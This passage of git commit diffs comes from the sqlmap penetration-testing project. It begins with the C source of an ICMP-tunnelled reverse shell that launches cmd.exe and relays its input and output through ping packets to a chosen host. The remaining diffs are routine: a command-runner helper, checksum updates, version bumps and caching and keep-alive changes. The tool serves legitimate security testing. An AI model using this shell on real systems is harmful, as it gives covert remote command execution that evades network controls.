spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write) +{ + SECURITY_ATTRIBUTES sattr; + STARTUPINFOA si; + HANDLE in_read, out_write; + + memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES)); + memset(pi, 0x00, sizeof(PROCESS_INFORMATION)); + + // create communication pipes + memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES)); + sattr.nLength = sizeof(SECURITY_ATTRIBUTES); + sattr.bInheritHandle = TRUE; + sattr.lpSecurityDescriptor = NULL; + + if (!CreatePipe(out_read, &out_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + if (!CreatePipe(&in_read, in_write, &sattr, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) { + return STATUS_PROCESS_NOT_CREATED; + } + + // spawn process + memset(&si, 0x00, sizeof(STARTUPINFO)); + si.cb = sizeof(STARTUPINFO); + si.hStdError = out_write; + si.hStdOutput = out_write; + si.hStdInput = in_read; + si.dwFlags |= STARTF_USESTDHANDLES; + + if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) { + return STATUS_PROCESS_NOT_CREATED; + } + + CloseHandle(out_write); + CloseHandle(in_read); + + return STATUS_OK; +} + +void usage(char *path) +{ + printf("%s [options] -t target\n", path); + printf("options:\n"); + printf(" -t host host ip address to send ping requests to\n"); + printf(" -r send a single test icmp request and then quit\n"); + printf(" -d milliseconds delay between requests in milliseconds (default is %u)\n", DEFAULT_DELAY); + printf(" -o milliseconds timeout in milliseconds\n"); + printf(" -h this screen\n"); + printf(" -b num maximal number of blanks (unanswered icmp requests)\n"); + printf(" before quitting\n"); + printf(" -s bytes maximal data buffer size in bytes (default is %u bytes)\n\n", DEFAULT_MAX_DATA_SIZE); + printf("In order to improve the speed, lower the delay (-d) between requests or\n"); + printf("increase the size (-s) of the data buffer\n"); +} + +void create_icmp_channel(HANDLE *icmp_chan) +{ + // create icmp file + *icmp_chan = (HANDLE) icmp_create(); +} + +int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout) +{ + int rs; + char *temp_in_buf; + int nbytes; + + PICMP_ECHO_REPLY echo_reply; + + temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE); + if (!temp_in_buf) { + return TRANSFER_FAILURE; + } + + // send data to remote host + rs = icmp_send( + icmp_chan, + target, + out_buf, + out_buf_size, + NULL, + temp_in_buf, + max_in_data_size + ICMP_HEADERS_SIZE, + timeout); + + // check received data + if (rs > 0) { + echo_reply = (PICMP_ECHO_REPLY) temp_in_buf; + if (echo_reply->DataSize > max_in_data_size) { + nbytes = max_in_data_size; + } else { + nbytes = echo_reply->DataSize; + } + memcpy(in_buf, echo_reply->Data, nbytes); + *in_buf_size = nbytes; + + free(temp_in_buf); + return TRANSFER_SUCCESS; + } + + free(temp_in_buf); + + return TRANSFER_FAILURE; +} + +int load_deps() +{ + HMODULE lib; + + lib = LoadLibraryA("ws2_32.dll"); + if (lib != NULL) { + to_ip = GetProcAddress(lib, "inet_addr"); + if (!to_ip) { + return 0; + } + } + + lib = LoadLibraryA("iphlpapi.dll"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + lib = LoadLibraryA("ICMP.DLL"); + if (lib != NULL) { + icmp_create = GetProcAddress(lib, "IcmpCreateFile"); + icmp_send = GetProcAddress(lib, "IcmpSendEcho"); + if (icmp_create && icmp_send) { + return 1; + } + } + + printf("failed to load functions (%u)", GetLastError()); + + return 0; +} +int main(int argc, char **argv) +{ + int opt; + char *target; + unsigned int delay, timeout; + unsigned int ip_addr; + HANDLE pipe_read, pipe_write; + HANDLE icmp_chan; + unsigned char *in_buf, *out_buf; + unsigned int in_buf_size, out_buf_size; + DWORD rs; + int blanks, max_blanks; + PROCESS_INFORMATION pi; + int status; + unsigned int max_data_size; + + // set defaults + target = 0; + timeout = DEFAULT_TIMEOUT; + delay = DEFAULT_DELAY; + max_blanks = DEFAULT_MAX_BLANKS; + max_data_size = DEFAULT_MAX_DATA_SIZE; + + status = STATUS_OK; + if (!load_deps()) { + printf("failed to load ICMP library\n"); + return -1; + } + + // parse command line options + for (opt = 1; opt < argc; opt++) { + if (argv[opt][0] == '-') { + switch(argv[opt][1]) { + case 'h': + usage(*argv); + return 0; + case 't': + if (opt + 1 < argc) { + target = argv[opt + 1]; + } + break; + case 'd': + if (opt + 1 < argc) { + delay = atol(argv[opt + 1]); + } + break; + case 'o': + if (opt + 1 < argc) { + timeout = atol(argv[opt + 1]); + } + break; + case 'r': + status = STATUS_SINGLE; + break; + case 'b': + if (opt + 1 < argc) { + max_blanks = atol(argv[opt + 1]); + } + break; + case 's': + if (opt + 1 < argc) { + max_data_size = atol(argv[opt + 1]); + } + break; + default: + printf("unrecognized option -%c\n", argv[1][0]); + usage(*argv); + return -1; + } + } + } + + if (!target) { + printf("you need to specify a host with -t. Try -h for more options\n"); + return -1; + } + ip_addr = to_ip(target); + + // don't spawn a shell if we're only sending a single test request + if (status != STATUS_SINGLE) { + status = spawn_shell(&pi, &pipe_read, &pipe_write); + } + + // create icmp channel + create_icmp_channel(&icmp_chan); + if (icmp_chan == INVALID_HANDLE_VALUE) { + printf("unable to create ICMP file: %u\n", GetLastError()); + return -1; + } + + // allocate transfer buffers + in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE); + if (!in_buf || !out_buf) { + printf("failed to allocate memory for transfer buffers\n"); + return -1; + } + memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE); + + // sending/receiving loop + blanks = 0; + do { + + switch(status) { + case STATUS_SINGLE: + // reply with a static string + out_buf_size = sprintf(out_buf, "Test1234\n"); + break; + case STATUS_PROCESS_NOT_CREATED: + // reply with error message + out_buf_size = sprintf(out_buf, "Process was not created\n"); + break; + default: + // read data from process via pipe + out_buf_size = 0; + if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) { + if (out_buf_size > 0) { + out_buf_size = 0; + rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL); + if (!rs && GetLastError() != ERROR_IO_PENDING) { + out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\n", GetLastError()); + } + } + } else { + out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\n", GetLastError()); + } + break; + } + + // send request/receive response + if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size, max_data_size, timeout) == TRANSFER_SUCCESS) { + if (status == STATUS_OK) { + // write data from response back into pipe + WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0); + } + blanks = 0; + } else { + // no reply received or error occured + blanks++; + } + + // wait between requests + Sleep(delay); + + } while (status == STATUS_OK && blanks < max_blanks); + + if (status == STATUS_OK) { + TerminateProcess(pi.hProcess, 0); + } + + return 0; +} + diff --git a/extra/runcmd/src/runcmd.sln b/extra/runcmd/src/runcmd.sln index 0770582d092..a70c648d0dc 100644 --- a/extra/runcmd/src/runcmd.sln +++ b/extra/runcmd/src/runcmd.sln @@ -1,20 +1,20 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Win32 = Debug|Win32 - Release|Win32 = Release|Win32 - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 - {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal + +Microsoft Visual Studio Solution File, Format Version 9.00 +# Visual Studio 2005 +Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "runcmd", "runcmd\runcmd.vcproj", "{1C6185A9-871A-4F6E-9B2D-BE4399479784}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Win32 = Debug|Win32 + Release|Win32 = Release|Win32 + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.ActiveCfg = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Debug|Win32.Build.0 = Debug|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.ActiveCfg = Release|Win32 + {1C6185A9-871A-4F6E-9B2D-BE4399479784}.Release|Win32.Build.0 = Release|Win32 + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/extra/runcmd/src/runcmd/runcmd.cpp b/extra/runcmd/src/runcmd/runcmd.cpp index ab40a0c218e..743f2a279ef 100644 --- a/extra/runcmd/src/runcmd/runcmd.cpp +++ b/extra/runcmd/src/runcmd/runcmd.cpp @@ -1,46 +1,46 @@ -/* - runcmd - a program for running command prompt commands - Copyright (C) 2010 Miroslav Stampar - email: miroslav.stampar@gmail.com - - This library is free software; you can redistribute it and/or - modify it under the terms of the GNU Lesser General Public - License as published by the Free Software Foundation; either - version 2.1 of the License, or (at your option) any later version. - - This library is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public - License along with this library; if not, write to the Free Software - Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -*/ - -#include -#include -#include -#include "stdafx.h" -#include - -using namespace std; -int main(int argc, char* argv[]) -{ - FILE *fp; - string cmd; - - for( int count = 1; count < argc; count++ ) - cmd += " " + string(argv[count]); - - fp = _popen(cmd.c_str(), "r"); - - if (fp != NULL) { - char buffer[BUFSIZ]; - - while (fgets(buffer, sizeof buffer, fp) != NULL) - fputs(buffer, stdout); - } - - return 0; -} +/* + runcmd - a program for running command prompt commands + Copyright (C) 2010 Miroslav Stampar + email: miroslav.stampar@gmail.com + + This library is free software; you can redistribute it and/or + modify it under the terms of the GNU Lesser General Public + License as published by the Free Software Foundation; either + version 2.1 of the License, or (at your option) any later version. + + This library is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + Lesser General Public License for more details. + + You should have received a copy of the GNU Lesser General Public + License along with this library; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA +*/ + +#include +#include +#include +#include "stdafx.h" +#include + +using namespace std; +int main(int argc, char* argv[]) +{ + FILE *fp; + string cmd; + + for( int count = 1; count < argc; count++ ) + cmd += " " + string(argv[count]); + + fp = _popen(cmd.c_str(), "r"); + + if (fp != NULL) { + char buffer[BUFSIZ]; + + while (fgets(buffer, sizeof buffer, fp) != NULL) + fputs(buffer, stdout); + } + + return 0; +} diff --git a/extra/runcmd/src/runcmd/runcmd.vcproj b/extra/runcmd/src/runcmd/runcmd.vcproj index 928c71606b0..157e33863d9 100644 --- a/extra/runcmd/src/runcmd/runcmd.vcproj +++ b/extra/runcmd/src/runcmd/runcmd.vcproj @@ -1,225 +1,225 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/extra/runcmd/src/runcmd/stdafx.cpp b/extra/runcmd/src/runcmd/stdafx.cpp index f5e349538ca..e191a9156a4 100644 --- a/extra/runcmd/src/runcmd/stdafx.cpp +++ b/extra/runcmd/src/runcmd/stdafx.cpp @@ -1,8 +1,8 @@ -// stdafx.cpp : source file that includes just the standard includes -// runcmd.pch will be the pre-compiled header -// stdafx.obj will contain the pre-compiled type information - -#include "stdafx.h" - -// TODO: reference any additional headers you need in STDAFX.H -// and not in this file +// stdafx.cpp : source file that includes just the standard includes +// runcmd.pch will be the pre-compiled header +// stdafx.obj will contain the pre-compiled type information + +#include "stdafx.h" + +// TODO: reference any additional headers you need in STDAFX.H +// and not in this file diff --git a/extra/runcmd/src/runcmd/stdafx.h b/extra/runcmd/src/runcmd/stdafx.h index bdabbfb48e9..0be0e6ffee0 100644 --- a/extra/runcmd/src/runcmd/stdafx.h +++ b/extra/runcmd/src/runcmd/stdafx.h @@ -1,17 +1,17 @@ -// stdafx.h : include file for standard system include files, -// or project specific include files that are used frequently, but -// are changed infrequently -// - -#pragma once - -#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. -#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. -#endif - -#include -#include - - - -// TODO: reference additional headers your program requires here +// stdafx.h : include file for standard system include files, +// or project specific include files that are used frequently, but +// are changed infrequently +// + +#pragma once + +#ifndef _WIN32_WINNT // Allow use of features specific to Windows XP or later. +#define _WIN32_WINNT 0x0501 // Change this to the appropriate value to target other versions of Windows. +#endif + +#include +#include + + + +// TODO: reference additional headers your program requires here diff --git a/lib/core/common.py b/lib/core/common.py index 612705ede64..da46b1f031f 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5639,10 +5639,9 @@ def checkSums(): continue with open(filepath, "rb") as f: content = f.read() - if b"\r\n" in content and b"sqlmap" in content: + if b'\0' not in content: content = content.replace(b"\r\n", b"\n") if not hashlib.sha256(content).hexdigest() == expected: retVal &= False - break return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index 95586ddc29e..fdf9881ed0a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.81" +VERSION = "1.10.1.82" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 00ca27c1a65cd3518c3ba9ab074ca4153b68d3b1 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 29 Jan 2026 00:11:39 +0100 Subject: [PATCH 085/135] Adding back a removed break --- data/txt/sha256sums.txt | 4 ++-- lib/core/common.py | 1 + lib/core/settings.py | 2 +- 3 files changed, 4 insertions(+), 3 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index e99e47e1f94..82fb105a95a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -167,7 +167,7 @@ e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py 2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py -90b2abd849a15f6b75bae6bf650aecf70e4f2fec4c01776a22a0c3474b7ab6f2 lib/core/common.py +3b2ca69b7a2e07f6db2fed2651c19e401f62e2068ea3b5f8f96ebf0ff067f349 lib/core/common.py a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1070a6f04c9fd65bfe323d5258f29d68804af178ab3a36702b8a3fd1f04a0239 lib/core/settings.py +fa159923f1de01903b0c2f20f735a5fbf747a0d9a9c133a9ed7bab6106cc171c lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index da46b1f031f..24ca3276332 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -5643,5 +5643,6 @@ def checkSums(): content = content.replace(b"\r\n", b"\n") if not hashlib.sha256(content).hexdigest() == expected: retVal &= False + break return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index fdf9881ed0a..8803f2b61b3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.82" +VERSION = "1.10.1.83" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 914b4498e8429f2f6c2b97701e8d3cec78a09625 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 29 Jan 2026 01:11:28 +0100 Subject: [PATCH 086/135] Fixing CI/CD issues --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 4 +++- lib/utils/hashdb.py | 4 +++- 3 files changed, 8 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 82fb105a95a..c91969dcd5d 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -fa159923f1de01903b0c2f20f735a5fbf747a0d9a9c133a9ed7bab6106cc171c lib/core/settings.py +610650be1f560c70944d801a355330c9315ab218e1ded611a054d907d6c05a87 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -248,7 +248,7 @@ a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps 51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py 853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py 366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2 lib/utils/har.py -1b6a477b9fe4b2c4efdc2b6aa18503bb92210854f3bac81f6494d5adedc68141 lib/utils/hashdb.py +a1a1ccd5ec29a6a884cfa8264d4e0f7e0b6a0760c692eb402805f926da41e6ee lib/utils/hashdb.py 84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896 lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7 lib/utils/pivotdumptable.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 8803f2b61b3..91341d7c0cc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -7,6 +7,7 @@ import codecs import os +import platform import random import re import string @@ -19,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.83" +VERSION = "1.10.1.84" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -259,6 +260,7 @@ PLATFORM = os.name PYVERSION = sys.version.split()[0] IS_WIN = PLATFORM == "nt" +IS_PYPY = platform.python_implementation() == "PyPy" # Check if running in terminal IS_TTY = hasattr(sys.stdout, "fileno") and os.isatty(sys.stdout.fileno()) diff --git a/lib/utils/hashdb.py b/lib/utils/hashdb.py index 2acd875334e..e7a88fc22cd 100644 --- a/lib/utils/hashdb.py +++ b/lib/utils/hashdb.py @@ -27,6 +27,7 @@ from lib.core.settings import HASHDB_FLUSH_THRESHOLD_ITEMS from lib.core.settings import HASHDB_FLUSH_THRESHOLD_TIME from lib.core.settings import HASHDB_RETRIEVE_RETRIES +from lib.core.settings import IS_PYPY from lib.core.threads import getCurrentThreadData from thirdparty import six @@ -45,7 +46,8 @@ def _get_cursor(self): if threadData.hashDBCursor is None: try: connection = sqlite3.connect(self.filepath, timeout=10, isolation_level=None, check_same_thread=False) - connection.execute("PRAGMA journal_mode=WAL") + if not IS_PYPY: + connection.execute("PRAGMA journal_mode=WAL") connection.execute("PRAGMA synchronous=NORMAL") connection.execute("PRAGMA busy_timeout=10000") self._connections.append(connection) From c8ccc317bff9360972d28d2eb48e6d009e8c82d3 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 30 Jan 2026 18:35:19 +0100 Subject: [PATCH 087/135] Simplifying cachedmethod --- data/txt/sha256sums.txt | 4 ++-- lib/core/decorators.py | 45 ++++++++++++++++++++++------------------- lib/core/settings.py | 2 +- 3 files changed, 27 insertions(+), 24 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c91969dcd5d..623d6e697bf 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -172,7 +172,7 @@ a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compa a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py ca06a0e9d66a58e74ef994d53f9b3cd2ebaed98735bbab99854054235a8083d6 lib/core/datatype.py -e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py +70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 6b366f897e66b9df39df2ee45fef77d46efb7a2d4e294440d3aa7dc1b2f4cedf lib/core/dicts.py a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump.py @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -610650be1f560c70944d801a355330c9315ab218e1ded611a054d907d6c05a87 lib/core/settings.py +1418691b5449412e60c693b6afc2f12b00051c1e280d2261762a36f094e0da66 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/lib/core/decorators.py b/lib/core/decorators.py index e8fbe4b6ccc..53603e81637 100644 --- a/lib/core/decorators.py +++ b/lib/core/decorators.py @@ -6,13 +6,10 @@ """ import functools -import hashlib -import struct import threading from lib.core.datatype import LRUDict from lib.core.settings import MAX_CACHE_ITEMS -from lib.core.settings import UNICODE_ENCODING from lib.core.threads import getCurrentThreadData _cache = {} @@ -40,31 +37,37 @@ def cachedmethod(f): _cache[f] = LRUDict(capacity=MAX_CACHE_ITEMS) _method_locks[f] = threading.RLock() + def _freeze(val): + if isinstance(val, (list, set, tuple)): + return tuple(_freeze(x) for x in val) + if isinstance(val, dict): + return tuple(sorted((k, _freeze(v)) for k, v in val.items())) + return val + @functools.wraps(f) def _f(*args, **kwargs): + lock, cache = _method_locks[f], _cache[f] + try: - # NOTE: fast-path if kwargs: - key = hash((f, args, tuple(map(type, args)), frozenset(kwargs.items()))) & 0x7fffffffffffffff + key = (args, frozenset(kwargs.items())) else: - key = hash((f, args, tuple(map(type, args)))) & 0x7fffffffffffffff - except TypeError: - # NOTE: failback slow-path - parts = ( - f.__module__ + "." + f.__name__, - "^".join(repr(a) for a in args), - "^".join("%s=%r" % (k, kwargs[k]) for k in sorted(kwargs)) - ) - try: - key = struct.unpack("...) -VERSION = "1.10.1.84" +VERSION = "1.10.1.85" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d54907da1d28cf7c1a732186f46f3e37a1438160 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 1 Feb 2026 22:57:47 +0100 Subject: [PATCH 088/135] Improving keep-alive support --- data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- thirdparty/keepalive/keepalive.py | 80 +++++++++++++++++-------------- 3 files changed, 48 insertions(+), 38 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 623d6e697bf..5c5d0a5a282 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -188,7 +188,7 @@ c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/optio 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -1418691b5449412e60c693b6afc2f12b00051c1e280d2261762a36f094e0da66 lib/core/settings.py +bf818add365e18e378b15fb33db123d846acddc2969e05af52eacfe745cc335e lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -618,7 +618,7 @@ edf23e7105539d700a1ae1bc52436e57e019b345a7d0227e4d85b6353ef535fa thirdparty/ide d846fdc47a11a58da9e463a948200f69265181f3dbc38148bfe4141fade10347 thirdparty/identywaf/LICENSE e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/__init__.py 879d96f2460bc6c79c0db46b5813080841c7403399292ce76fe1dc0a6ed353d8 thirdparty/keepalive/__init__.py -f517561115b0cfaa509d0d4216cd91c7de92c6a5a30f1688fdca22e4cd52b8f8 thirdparty/keepalive/keepalive.py +c7ac7253fa450030f9c42f11bb19689055bb8c39621bcfbeca856ba3c9342760 thirdparty/keepalive/keepalive.py e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/magic/__init__.py 